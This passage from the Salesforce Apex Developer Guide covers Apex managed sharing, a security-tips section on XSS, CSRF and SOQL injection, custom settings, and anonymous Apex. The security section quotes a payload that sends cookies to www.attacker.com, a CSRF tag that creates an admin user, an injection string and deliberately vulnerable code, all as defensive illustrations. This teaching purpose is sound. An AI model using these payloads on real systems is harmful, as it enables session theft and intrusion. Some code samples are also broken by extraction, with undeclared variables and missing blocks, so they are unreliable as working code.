// Insert sharing records and capture save result

// The false parameter allows for partial processing if multiple records are passed
// into the operation

Database.SaveResult[] lsr = Database.insert(jobShrs,false);
// Create counter
Integer i=0;
// Process the save results

for(Database.SaveResult sr : lsr){
if(!sr.isSuccess()){
// Get the first save result error
// Check if the error is related to a trivial access level
193
// Access levels equal or more permissive than the object's default

// access level are not allowed.
// These sharing records are not required and thus an insert exception is
// acceptable.
if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION
&&
err.getMessage().contains('AccessLevel'))){
// Throw an error when the error is not related to trivial access
level.
trigger.newMap.get(jobShrs[i].ParentId).
addError(
'Unable to grant sharing access due to following exception: '
+ err.getMessage());
}
}
i++;
}
}
Under certain circumstances, inserting a share row results in an update of an existing share row. Consider these examples:
• A manual share access level is set to Read and you insert a new one set to Write. The original share rows are updated to Write,
indicating the higher level of access.
• Users can access an account because they can access its child records (contact, case, opportunity, and so on). If an account sharing
rule is created, the sharing rule row cause (which is a higher access level) replaces the parent implicit share row cause, indicating
the higher level of access.
Creating Apex Managed Sharing for Customer Community Plus users

Customer Community Plus users are previously known as Customer Portal users. Share objects, such as AccountShare and
ContactShare, aren’t available to these users. If you must use share objects as a Customer Community Plus user, consider using a
trigger, which operates with the without sharing keyword by default. Otherwise, use an inner class with the same keyword to
enable the DML operation to run successfully. A separate utility class can also be used to enable this access.
Granting visibility via manual/apex shares written to the share objects is supported but the objects themselves aren't available to Customer
Community Plus users. However, other users can add shares that grant access to Customer Community Plus users.
Recalculating Apex Managed Sharing

Salesforce automatically recalculates sharing for all records on an object when its organization-wide sharing default access level changes.
The recalculation adds Force.com managed sharing when appropriate. In addition, all types of sharing are removed if the access they
grant is considered redundant. For example, manual sharing, which grants Read Only access to a user, is deleted when the object’s
sharing model changes from Private to Public Read Only.
To recalculate Apex managed sharing, you must write an Apex class that implements a Salesforce-provided interface to do the recalculation.
You must then associate the class with the custom object, on the custom object's detail page, in the Apex Sharing Recalculation related
list.
194
You can execute this class from the custom object detail page where the Apex sharing reason is specified. An administrator might need
to recalculate the Apex managed sharing for an object if a locking issue prevented Apex code from granting access to a user as defined
by the application’s logic. You can also use the Database.executeBatch method to programmatically invoke an Apex managed sharing
recalculation.
Note: Every time a custom object's organization-wide sharing default access level is updated, any Apex recalculation classes
defined for associated custom object are also executed.
To monitor or stop the execution of the Apex recalculation, from Setup, enter Apex Jobs in the Quick Find box, then select
Apex Jobs.
Creating an Apex Class for Recalculating Sharing

To recalculate Apex managed sharing, you must write an Apex class to do the recalculation. This class must implement the
Salesforce-provided interface Database.Batchable.
The Database.Batchable interface is used for all batch Apex processes, including recalculating Apex managed sharing. You can
implement this interface more than once in your organization. For more information on the methods that must be implemented, see
Using Batch Apex on page 242.
Before creating an Apex managed sharing recalculation class, also consider the best practices.
Apex Managed Sharing Recalculation Example

For this example, suppose that you are building a recruiting application and have an object called Job. You want to validate that the
recruiter and hiring manager listed on the job have access to the record. The following Apex class performs this validation. This example
requires a custom object called Job, with two lookup fields associated with User records called Hiring_Manager and Recruiter. Also, the
Job custom object should have two sharing reasons added called Hiring_Manager and Recruiter. Before you run this sample, replace
the email address with a valid email address to which you want to send error notifications and job completion notifications.
global class JobSharingRecalc implements Database.Batchable<sObject> {
// String to hold email address that emails will be sent to.

// Replace its value with a valid email address.
static String emailAddress = 'admin@yourcompany.com';
// The start method is called at the beginning of a sharing recalculation.

// This method returns a SOQL query locator containing the records
// to be recalculated.
global Database.QueryLocator start(Database.BatchableContext BC){
return Database.getQueryLocator([SELECT Id, Hiring_Manager__c, Recruiter__c
FROM Job__c]);
}
// The executeBatch method is called for each chunk of records returned from start.
global void execute(Database.BatchableContext BC, List<sObject> scope){

// Create a map for the chunk of records passed into method.
Map<ID, Job__c> jobMap = new Map<ID, Job__c>((List<Job__c>)scope);
195
// Create a list of Job__Share objects to be inserted.

List<Job__Share> newJobShrs = new List<Job__Share>();
// Locate all existing sharing records for the Job records in the batch.
// Only records using an Apex sharing reason for this app should be returned.
List<Job__Share> oldJobShrs = [SELECT Id FROM Job__Share WHERE ParentId IN
:jobMap.keySet() AND
(RowCause = :Schema.Job__Share.rowCause.Recruiter__c OR
RowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c)];
// Construct new sharing records for the hiring manager and recruiter
// on each Job record.
for(Job__c job : jobMap.values()){
Job__Share jobHMShr = new Job__Share();
Job__Share jobRecShr = new Job__Share();
// Set the ID of user (hiring manager) on the Job record being granted access.
jobHMShr.UserOrGroupId = job.Hiring_Manager__c;
// The hiring manager on the job should always have 'Read Only' access.
jobHMShr.AccessLevel = 'Read';
// The ID of the record being shared

jobHMShr.ParentId = job.Id;
// Set the rowCause to the Apex sharing reason for hiring manager.
// This establishes the sharing record as Apex managed sharing.
jobHMShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c;
// Add sharing record to list for insertion.

newJobShrs.add(jobHMShr);
// Set the ID of user (recruiter) on the Job record being granted access.
jobRecShr.UserOrGroupId = job.Recruiter__c;
// The recruiter on the job should always have 'Read/Write' access.

jobRecShr.AccessLevel = 'Edit';
// The ID of the record being shared

jobRecShr.ParentId = job.Id;
// Set the rowCause to the Apex sharing reason for recruiter.

// This establishes the sharing record as Apex managed sharing.
jobRecShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c;
// Add the sharing record to the list for insertion.

newJobShrs.add(jobRecShr);
}
try {
// Delete the existing sharing records.
// This allows new sharing records to be written from scratch.
Delete oldJobShrs;
196
// Insert the new sharing records and capture the save result.
// The false parameter allows for partial processing if multiple records are
// passed into operation.
Database.SaveResult[] lsr = Database.insert(newJobShrs,false);
// Process the save results for insert.

for(Database.SaveResult sr : lsr){
if(!sr.isSuccess()){
// Get the first save result error.
// Check if the error is related to trivial access level.

// Access levels equal or more permissive than the object's default
// access level are not allowed.
// These sharing records are not required and thus an insert exception
// is acceptable.
if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION
&& err.getMessage().contains('AccessLevel'))){
// Error is not related to trivial access level.
// Send an email to the Apex job's submitter.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
String[] toAddresses = new String[] {emailAddress};

mail.setToAddresses(toAddresses);
mail.setSubject('Apex Sharing Recalculation Exception');
mail.setPlainTextBody(
'The Apex sharing recalculation threw the following exception: ' +
err.getMessage());
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
}
}
// Send an email to the Apex job's submitter on failure.
mail.setSubject('Apex Sharing Recalculation Exception');
mail.setPlainTextBody(
'The Apex sharing recalculation threw the following exception: ' +
e.getMessage());
}
}
// The finish method is called at the end of a sharing recalculation.

global void finish(Database.BatchableContext BC){
// Send an email to the Apex job's submitter notifying of job completion.
197
mail.setSubject('Apex Sharing Recalculation Completed.');
mail.setPlainTextBody
('The Apex sharing recalculation finished processing');
}
Testing Apex Managed Sharing Recalculations

This example inserts five Job records and invokes the batch job that is implemented in the batch class of the previous example. This
example requires a custom object called Job, with two lookup fields associated with User records called Hiring_Manager and Recruiter.
Also, the Job custom object should have two sharing reasons added called Hiring_Manager and Recruiter. Before you run this test, set
the organization-wide default sharing for Job to Private. Note that since email messages aren’t sent from tests, and because the batch
class is invoked by a test method, the email notifications won’t be sent in this case.
@isTest
private class JobSharingTester {
// Test for the JobSharingRecalc class

static testMethod void testApexSharing(){
// Instantiate the class implementing the Database.Batchable interface.
JobSharingRecalc recalc = new JobSharingRecalc();
// Select users for the test.

List<User> users = [SELECT Id FROM User WHERE IsActive = true LIMIT 2];
ID User1Id = users[0].Id;
ID User2Id = users[1].Id;
// Insert some test job records.

List<Job__c> testJobs = new List<Job__c>();
for (Integer i=0;i<5;i++) {
Job__c j = new Job__c();
j.Name = 'Test Job ' + i;
j.Recruiter__c = User1Id;
j.Hiring_Manager__c = User2Id;
testJobs.add(j);
}
insert testJobs;
Test.startTest();
// Invoke the Batch class.

String jobId = Database.executeBatch(recalc);
Test.stopTest();
// Get the Apex job and verify there are no errors.

AsyncApexJob aaj = [Select JobType, TotalJobItems, JobItemsProcessed, Status,
CompletedDate, CreatedDate, NumberOfErrors
from AsyncApexJob where Id = :jobId];
System.assertEquals(0, aaj.NumberOfErrors);
198
// This query returns jobs and related sharing records that were inserted
// by the batch job's execute method.
List<Job__c> jobs = [SELECT Id, Hiring_Manager__c, Recruiter__c,
(SELECT Id, ParentId, UserOrGroupId, AccessLevel, RowCause FROM Shares
WHERE (RowCause = :Schema.Job__Share.rowCause.Recruiter__c OR
RowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c))
FROM Job__c];
// Validate that Apex managed sharing exists on jobs.

for(Job__c job : jobs){
// Two Apex managed sharing records should exist for each job
// when using the Private org-wide default.
System.assert(job.Shares.size() == 2);
for(Job__Share jobShr : job.Shares){

// Test the sharing record for hiring manager on job.
if(jobShr.RowCause == Schema.Job__Share.RowCause.Hiring_Manager__c){
System.assertEquals(jobShr.UserOrGroupId,job.Hiring_Manager__c);
System.assertEquals(jobShr.AccessLevel,'Read');
}
// Test the sharing record for recruiter on job.
else if(jobShr.RowCause == Schema.Job__Share.RowCause.Recruiter__c){
System.assertEquals(jobShr.UserOrGroupId,job.Recruiter__c);
System.assertEquals(jobShr.AccessLevel,'Edit');
}
}
}
}
}
Associating an Apex Class Used for Recalculation

An Apex class used for recalculation must be associated with a custom object.
To associate an Apex managed sharing recalculation class with a custom object:
1. From the management settings for the custom object, go to Apex Sharing Recalculations.
2. Choose the Apex class that recalculates the Apex sharing for this object. The class you choose must implement the
Database.Batchable interface. You cannot associate the same Apex class multiple times with the same custom object.
3. Click Save.
Security Tips for Apex and Visualforce Development
Understanding Security
The powerful combination of Apex and Visualforce pages allow Force.com developers to provide custom functionality and business
logic to Salesforce or create a completely new stand-alone product running inside the Force.com platform. However, as with any
programming language, developers must be cognizant of potential security-related pitfalls.
Salesforce has incorporated several security defenses into the Force.com platform itself. However, careless developers can still bypass
the built-in defenses in many cases and expose their applications and customers to security risks. Many of the coding mistakes a developer
can make on the Force.com platform are similar to general Web application security vulnerabilities, while others are unique to Apex.
199
To certify an application for AppExchange, it’s important that developers learn and understand the security flaws described here. For
additional information, see the Force.com Security Resources page on Salesforce Developers at
https://developer.salesforce.com/page/Security.
IN THIS SECTION:
Cross Site Scripting (XSS)
Unescaped Output and Formulas in Visualforce Pages
Cross-Site Request Forgery (CSRF)
SOQL Injection
Data Access Control
Cross Site Scripting (XSS)

Cross-site scripting (XSS) attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided to a Web
application. The Web application includes malicious scripting in a response to a user of the Web application. The user then unknowingly
becomes the victim of the attack. The attacker has used the Web application as an intermediary in the attack, taking advantage of the
victim's trust for the Web application. Most applications that display dynamic Web pages without properly validating the data are likely
to be vulnerable. Attacks against the website are especially easy if input from one user is intended to be displayed to another user. Some
obvious possibilities include bulletin board or user comment-style websites, news, or email archives.
For example, assume the following script is included in a Force.com page using a script component, an on* event, or a Visualforce
page.
<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo =
'{!$CurrentPage.parameters.userparam}';</script>
This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following value for
userparam:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2
In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the
cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if they were
the victim.
The attacker can post a malicious script using a Website or email. Web application users not only see the attacker's input, but their
browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against
the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks, such as stealing data or
session cookies, allowing an attacker full access to the victim's session.
For more information on this attack in general, see the following articles:
• http://www.owasp.org/index.php/Cross_Site_Scripting
• http://www.cgisecurity.com/xss-faq.html
• http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
• http://www.google.com/search?q=cross-site+scripting
Within the Force.com platform there are several anti-XSS defenses in place. For example, Salesforce has implemented filters that screen
out harmful characters in most output methods. For the developer using standard classes and output methods, the threats of XSS flaws
have been largely mitigated. However, the creative developer can still find ways to intentionally or accidentally bypass the default
controls. The following sections show where protection does and does not exist.
200
Existing Protection
All standard Visualforce components, which start with <apex>, have anti-XSS filters in place. For example, the following code is normally
vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but the <apex:outputText>
tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form. For example, the < character is converted
to < so that a literal < displays on the user's screen.
<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>
Disabling Escape on Visualforce Tags

By default, nearly all Visualforce tags escape the XSS-vulnerable characters. It is possible to disable this behavior by setting the optional
attribute escape="false". For example, the following output is vulnerable to XSS attacks:
<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />
Programming Items Not Protected from XSS

The following items do not have built-in XSS protections, so take extra care when using these tags and objects. This is because these
items were intended to allow the developer to customize the page by inserting script commands. It does not makes sense to include
anti-XSS filters on commands that are intentionally added to a page.
Custom JavaScript
If you write your own JavaScript, the Force.com platform has no way to protect you. For example, the following code is vulnerable
to XSS if used in JavaScript.
<script>
var foo = location.search;
document.write(foo);
</script>
<apex:includeScript>
The <apex:includeScript> Visualforce component allows you to include a custom script on the page. In these cases, be
very careful to validate that the content is safe and does not include user-supplied data. For example, the following snippet is
extremely vulnerable because it includes user-supplied input as the value of the script text. The value provided by the tag is a URL
to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as in the example below), they can potentially
direct the victim to include any JavaScript file from any other website.
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />
Unescaped Output and Formulas in Visualforce Pages

When using components that have set the escape attribute to false, or when including formulas outside of a Visualforce component,
output is unfiltered and must be validated for security. This is especially important when using formula expressions.
Formula expressions can be function calls or include information about platform objects, a user's environment, system environment,
and the request environment. It’s important to be aware that the output that’s generated by expressions isn’t escaped during rendering.
Since expressions are rendered on the server, it’s not possible to escape rendered data on the client using JavaScript or other client-side
technology. This can lead to potentially dangerous situations if the formula expression references non-system data (that is, potentially
hostile or editable data) and the expression itself is not wrapped in a function to escape the output during rendering.
201
A common vulnerability is created by rerendering user input on a page. For example,

<apex:page standardController="Account">
<apex:form>
<apex:commandButton rerender="outputIt" value="Update It"/>
<apex:inputText value="{!myTextField}"/>
</apex:form>
<apex:outputPanel id="outputIt">
Value of myTextField is <apex:outputText value="{!myTextField}" escape="false"/>
</apex:outputPanel>
</apex:page>
The unescaped {!myTextField} results in a cross-site scripting vulnerability. For example, if the user enters :
<script>alert('xss')
and clicks Update It, the JavaScript is executed. In this case, an alert dialog is displayed, but more malicious uses could be designed.
There are several functions that you can use for escaping potentially insecure strings.
HTMLENCODE
Encodes text and merge field values for use in HTML by replacing characters that are reserved in HTML, such as the greater-than
sign (>), with HTML entity equivalents, such as >.
JSENCODE
Encodes text and merge field values for use in JavaScript by inserting escape characters, such as a backslash (\), before unsafe
JavaScript characters, such as the apostrophe (').
JSINHTMLENCODE
Encodes text and merge field values for use in JavaScript inside HTML tags by replacing characters that are reserved in HTML with
HTML entity equivalents and inserting escape characters before unsafe JavaScript characters. JSINHTMLENCODE(someValue)
is a convenience function that is equivalent to JSENCODE(HTMLENCODE((someValue)). That is, JSINHTMLENCODE
first encodes someValue with HTMLENCODE, and then encodes the result with JSENCODE.
URLENCODE
Encodes text and merge field values for use in URLs by replacing characters that are illegal in URLs, such as blank spaces, with the
code that represent those characters as defined in RFC 3986, Uniform Resource Identifier (URI): Generic Syntax. For example, blank
spaces are replaced with %20, and exclamation points are replaced with %21.
To use HTMLENCODE to secure the previous example, change the <apex:outputText> to the following:
<apex:outputText value=" {!HTMLENCODE(myTextField)}" escape="false"/>
If a user enters <script>alert('xss') and clicks Update It, the JavaScript is not be executed. Instead, the string is encoded
and the page displays Value of myTextField is <script>alert('xss').
Depending on the placement of the tag and usage of the data, both the characters needing escaping as well as their escaped counterparts
may vary. For instance, this statement, which copies a Visualforce request parameter into a JavaScript variable:
<script>var ret = "{!$CurrentPage.parameters.retURL}";</script>
requires that any double quote characters in the request parameter be escaped with the URL encoded equivalent of %22 instead of
the HTML escaped ". Otherwise, the request:
http://example.com/demo/redirect.html?retURL=%22foo%22%3Balert('xss')%3B%2F%2F
202
results in:
<script>var ret = "foo";alert('xss');//";</script>
When the page loads the JavaScript executes, and the alert is displayed.
In this case, to prevent JavaScript from being executed, use the JSENCODE function. For example
<script>var ret = "{!JSENCODE($CurrentPage.parameters.retURL)}";</script>
Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization, it must
still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege
levels). While these types of attacks must be performed by users within the same organization, they undermine the organization's user
roles and reduce the integrity of auditing records. Additionally, many organizations contain data which has been imported from external
sources and might not have been screened for malicious content.
Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) flaws are less of a programming mistake as they are a lack of a defense. The easiest way to describe
CSRF is to provide a very simple example. An attacker has a Web page at www.attacker.com. This could be any Web page, including
one that provides valuable services or information that drives traffic to that site. Somewhere on the attacker's page is an HTML tag that
looks like this:
<img
src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....."
height=1 width=1 />
In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your Web page
when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds because the user is still
authenticated to your Web page. This is a very simple example and the attacker can get more creative by using scripts to generate the
callback request or even use CSRF attacks against your AJAX methods.
For more information and traditional defenses, see the following articles:
• http://www.owasp.org/index.php/Cross-Site_Request_Forgery
• http://www.cgisecurity.com/csrf-faq.html
• http://shiflett.org/articles/cross-site-request-forgeries
Within the Force.com platform, Salesforce has implemented an anti-CSRF token to prevent this attack. Every page includes a random
string of characters as a hidden form field. Upon the next page load, the application checks the validity of this string of characters and
does not execute the command unless the value matches the expected value. This feature protects you when using all of the standard
controllers and methods.
Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a custom controller
where you take the object ID as an input parameter, then use that input parameter in a SOQL call. Consider the following code snippet.
<apex:page controller="myClass" action="{!init}"</apex:page>
public class myClass {

public void init() {
Id id = ApexPages.currentPage().getParameters().get('id');
Account obj = [select id, Name FROM Account WHERE id = :id];
delete obj;
return ;
}
}
203
In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The id parameter
is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page might have sent the user to this page
using a CSRF attack and provided any value they wish for the id parameter.
There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action based upon
a user-supplied parameter like the id variable in the preceding example. A possible work-around is to insert an intermediate confirmation
page before taking the action, to make sure the user intended to call the page. Other suggestions include shortening the idle session
timeout for the organization and educating users to log out of their active session and not use their browser to visit other sites while
authenticated.
Because of Salesforce’s built-in defense against CRSF, your users might encounter an error when they have multiple Salesforce login
pages open. If the user logs in to Salesforce in one tab and then attempts to log in to the other, they see an error, "The page you submitted
was invalid for your session". Users can successfully log in by refreshing the login page or attempting to log in a second time.
SOQL Injection
In other programming languages, the previous flaw is known as SQL injection. Apex does not use SQL, but uses its own database query
language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks are much lower for SOQL injection
than for SQL injection, but the attacks are nearly identical to traditional SQL injection. In summary SQL/SOQL injection involves taking
user-supplied input and using those values in a dynamic SOQL query. If the input is not validated, it can include SOQL commands that
effectively modify the SOQL statement and trick the application into performing unintended commands.
For more information on SQL Injection attacks see:
• http://www.owasp.org/index.php/SQL_injection
• http://www.owasp.org/index.php/Blind_SQL_Injection
• http://www.owasp.org/index.php/Guide_to_SQL_Injection
• http://www.google.com/search?q=sql+injection
SOQL Injection Vulnerability in Apex

Below is a simple example of Apex and Visualforce code vulnerable to SOQL injection.
<apex:page controller="SOQLController" >
<apex:form>
<apex:outputText value="Enter Name" />
<apex:inputText value="{!name}" />
<apex:commandButton value="Query" action="{!query}“ />
</apex:form>
</apex:page>
public class SOQLController {

public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String qryString = 'SELECT Id FROM Contact WHERE ' +
'(IsDeleted = false and Name like \'%' + name + '%\')';
queryResult = Database.query(qryString);
return null;
}
}
204
This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted. The user
provides one input value called name. The value can be anything provided by the user and it is never validated. The SOQL query is built
dynamically and then executed with the Database.query method. If the user provides a legitimate value, the statement executes
as expected:
// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')
However, what if the user provides unexpected input, such as:

// User supplied value for name: test%') OR (Name LIKE '
In that case, the query string becomes:

SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')
Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended logic of any
vulnerable query.
SOQL Injection Defenses

To prevent a SOQL injection attack, avoid using dynamic SOQL queries. Instead, use static queries and binding variables. The vulnerable
example above can be re-written using static SOQL as follows:
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String queryName = '%' + name + '%';
queryResult = [SELECT Id FROM Contact WHERE
(IsDeleted = false and Name like :queryName)];
return null;
}
}
If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds the
escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation
marks are treated as enclosing strings, instead of database commands.
Data Access Control

The Force.com platform makes extensive use of data sharing rules. Each object has permissions and may have sharing settings for which
users can read, create, edit, and delete. These settings are enforced when using all standard controllers.
When using an Apex class, the built-in user permissions and field-level security restrictions are not respected during execution. The
default behavior is that an Apex class has the ability to read and update all data within the organization. Because these rules are not
enforced, developers who use Apex must take care that they do not inadvertently expose sensitive data that would normally be hidden
from users by user permissions, field-level security, or organization-wide defaults. This is particularly true for Visualforce pages. For
example, consider the following Apex pseudo-code:
public class customController {
public void read() {
Contact contact = [SELECT id FROM Contact WHERE Name = :value];
205
}
}
In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view these
records. The solution is to use the qualifying keywords with sharing when declaring the class:
public with sharing class customController {
. . .
}
The with sharing keyword directs the platform to use the security sharing permissions of the user currently logged in, rather than
granting full access to all records.
Custom Settings
Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create and
associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application cache, which
enables efficient access without the cost of repeated queries to the database. This data can then be used by formula fields, validation
rules, flows, Apex, and the SOAP API.
There are two types of custom settings:
List Custom Settings
A type of custom setting that provides a reusable set of static data that can be accessed across your organization. If you use a particular
set of data frequently within your application, putting that data in a list custom setting streamlines access to it. Data in list settings
does not vary with profile or user, but is available organization-wide. Examples of list data include two-letter state abbreviations,
international dialing prefixes, and catalog numbers for products. Because the data is cached, access is low-cost and efficient: you
don't have to use SOQL queries that count against your governor limits.
Hierarchy Custom Settings
A type of custom setting that uses a built-in hierarchical logic that lets you “personalize” settings for specific profiles or users. The
hierarchy logic checks the organization, profile, and user settings for the current user and returns the most specific, or “lowest,” value.
In the hierarchy, settings for an organization are overridden by profile settings, which, in turn, are overridden by user settings.
The following examples illustrate how you can use custom settings:
• A shipping application requires users to fill in the country codes for international deliveries. By creating a list setting of all country
codes, users have quick access to this data without needing to query the database.
• An application displays a map of account locations, the best route to take, and traffic conditions. This information is useful for sales
reps, but account executives only want to see account locations. By creating a hierarchy setting with custom checkbox fields for
route and traffic, you can enable this data for just the “Sales Rep” profile.
You can create a custom setting in the Salesforce user interface: from Setup, enter Custom Settings in the Quick Find box,
then select Custom Settings. After creating a custom setting and you’ve added fields, provide data to your custom setting by clicking
Manage from the detail page. Each data set is identified by the name you give it.
For example, if you have a custom setting named Foundation_Countries__c with one text field Country_Code__c, your data sets can
look like the following:
Data Set Name Country Code Field Value
United States USA
Canada CAN
United Kingdom GBR
206
Apex Developer Guide Running Apex
You can also include a custom setting in a package. The visibility of the custom setting in the package depends on the Visibility
setting.
Note: Only custom settings definitions are included in packages, not data. If you need to include data, you must populate the
custom settings using Apex code run by the subscribing organization after they’ve installed the package.
Apex can access both custom setting types—list and hierarchy.
Note: If Privacy for a custom setting is Protected and the custom setting is contained in a managed package, the subscribing
organization cannot edit the values or access them using Apex.
Accessing a List Custom Setting

The following example returns a map of custom settings data. The getAll method returns values for all custom fields associated with
the list setting.
Map<String_dataset_name, CustomSettingName__c> mcs = CustomSettingName__c.getAll();
The following example uses the getValues method to return all the field values associated with the specified data set. This method
can be used with both list and hierarchy custom settings, using different parameters.
CustomSettingName__c mc = CustomSettingName__c.getValues(data_set_name);
Accessing a Hierarchy Custom Setting

The following example uses the getOrgDefaults method to return the data set values for the organization level:
CustomSettingName__c mc = CustomSettingName__c.getOrgDefaults();
The following example uses the getInstance method to return the data set values for the specified profile. The getInstance
method can also be used with a user ID.
CustomSettingName__c mc = CustomSettingName__c.getInstance(Profile_ID);
SEE ALSO:
Custom Settings Methods
Running Apex
You can access many features of the Salesforce user interface programmatically in Apex, and you can integrate with external SOAP and
REST Web services. You can run Apex code using a variety of mechanisms. Apex code runs in atomic transactions.
IN THIS SECTION:
Invoking Apex
You can run Apex code with triggers, or asynchronously, or as SOAP or REST web services.
Apex Transactions and Governor Limits
Apex Transactions ensure the integrity of data. Apex code runs as part of atomic transactions. Governor execution limits ensure the
efficient use of resources on the Force.com multitenant platform.
207
Apex Developer Guide Invoking Apex
Using Salesforce Features with Apex

Many features of the Salesforce user interface are exposed in Apex so that you can access them programatically in the Force.com
platform. For example, you can write Apex code to post to a Chatter feed, or use the approval methods to submit and approve
process requests.
Integration and Apex Utilities
Apex allows you to integrate with external SOAP and REST Web services using callouts. You can use utilities for JSON, XML, data
security, and encoding. A general-purpose utility for regular expressions with text strings is also provided.
Invoking Apex
You can run Apex code with triggers, or asynchronously, or as SOAP or REST web services.
IN THIS SECTION:
1. Anonymous Blocks
An anonymous block is Apex code that does not get stored in the metadata, but that can be compiled and executed.
2. Triggers
Apex can be invoked by using triggers. Apex triggers enable you to perform custom actions before or after changes to Salesforce
records, such as insertions, updates, or deletions.
3. Asynchronous Apex
Apex offers multiple ways for running your Apex code asynchronously. Choose the asynchronous Apex feature that best suits your
needs.
4. Exposing Apex Methods as SOAP Web Services
You can expose your Apex methods as SOAP web services so that external applications can access your code and your application.
5. Exposing Apex Classes as REST Web Services
You can expose your Apex classes and methods so that external applications can access your code and your application through
the REST architecture.
6. Apex Email Service
You can use email services to process the contents, headers, and attachments of inbound email. For example, you can create an
email service that automatically creates contact records based on contact information in messages.
7. Using the InboundEmail Object
For every email the Apex email service domain receives, Salesforce creates a separate InboundEmail object that contains the contents
and attachments of that email. You can use Apex classes that implement the Messaging.InboundEmailHandler interface
to handle an inbound email message. Using the handleInboundEmail method in that class, you can access an InboundEmail
object to retrieve the contents, headers, and attachments of inbound email messages, as well as perform many functions.
8. Visualforce Classes
In addition to giving developers the ability to add business logic to Salesforce system events such as button clicks and related record
updates, Apex can also be used to provide custom logic for Visualforce pages through custom Visualforce controllers and controller
extensions.
9. JavaScript Remoting
Use JavaScript remoting in Visualforce to call methods in Apex controllers from JavaScript. Create pages with complex, dynamic
behavior that isn’t possible with the standard Visualforce AJAX components.
10. Apex in AJAX
The AJAX toolkit includes built-in support for invoking Apex through anonymous blocks or public webservice methods.
208
Anonymous Blocks
An anonymous block is Apex code that does not get stored in the metadata, but that can be compiled and executed.
User Permissions Needed

To execute anonymous Apex: “Author Apex”
(Anonymous Apex execution through the API allows restricted access without the “Author
Apex” permission.)
Compile and execute anonymous blocks using one of the following:

• Developer Console
• Force.com IDE
• The executeAnonymous() SOAP API call:
ExecuteAnonymousResult executeAnonymous(String code)
You can use anonymous blocks to quickly evaluate Apex on the fly, such as in the Developer Console or the Force.com IDE, or to write
code that changes dynamically at runtime. For example, you might write a client Web application that takes input from a user, such as
a name and address, and then uses an anonymous block of Apex to insert a contact with that name and address into the database.
Note the following about the content of an anonymous block (for executeAnonymous(), the code String):
• Can include user-defined methods and exceptions.
• User-defined methods cannot include the keyword static.
• You do not have to manually commit any database changes.
• If your Apex trigger completes successfully, any database changes are automatically committed. If your Apex trigger does not
complete successfully, any changes made to the database are rolled back.
• Unlike classes and triggers, anonymous blocks execute as the current user and can fail to compile if the code violates the user's
object- and field-level permissions.
• Do not have a scope other than local. For example, though it is legal to use the global access modifier, it has no meaning. The
scope of the method is limited to the anonymous block.
• When you define a class or interface (a custom type) in an anonymous block, the class or interface is considered virtual by default
when the anonymous block executes. This is true even if your custom type wasn’t defined with the virtual modifier. Save your
class or interface in Salesforce to avoid this from happening. Note that classes and interfaces defined in an anonymous block aren’t
saved in your organization.
Even though a user-defined method can refer to itself or later methods without the need for forward declarations, variables cannot be
referenced before their actual declaration. In the following example, the Integer int must be declared while myProcedure1 does
not:
Integer int1 = 0;
void myProcedure1() {
myProcedure2();
}
void myProcedure2() {
int1++;
}
209
myProcedure1();
The return result for anonymous blocks includes:

• Status information for the compile and execute phases of the call, including any errors that occur
• The debug log content, including the output of any calls to the System.debug method (see Debug Log on page 539)
• The Apex stack trace of any uncaught code execution exceptions, including the class, method, and line number for each call stack
element
For more information on executeAnonymous(), see SOAP API and SOAP Headers for Apex. See also Working with Logs in the
Developer Console and the Force.com IDE.
Executing Anonymous Apex through the API and the Author Apex Permission
To run any Apex code with the executeAnonymous() API call, including Apex methods saved in the organization, users must
have the Author Apex permission. For users who don’t have the Author Apex permission, the API allows restricted execution of anonymous
Apex. This exception applies only when users execute anonymous Apex through the API, or through a tool that uses the API, but not in
the Developer Console. Such users are allowed to run the following in an anonymous block.
• Code that they write in the anonymous block
• Web service methods (methods declared with the webservice keyword) that are saved in the organization
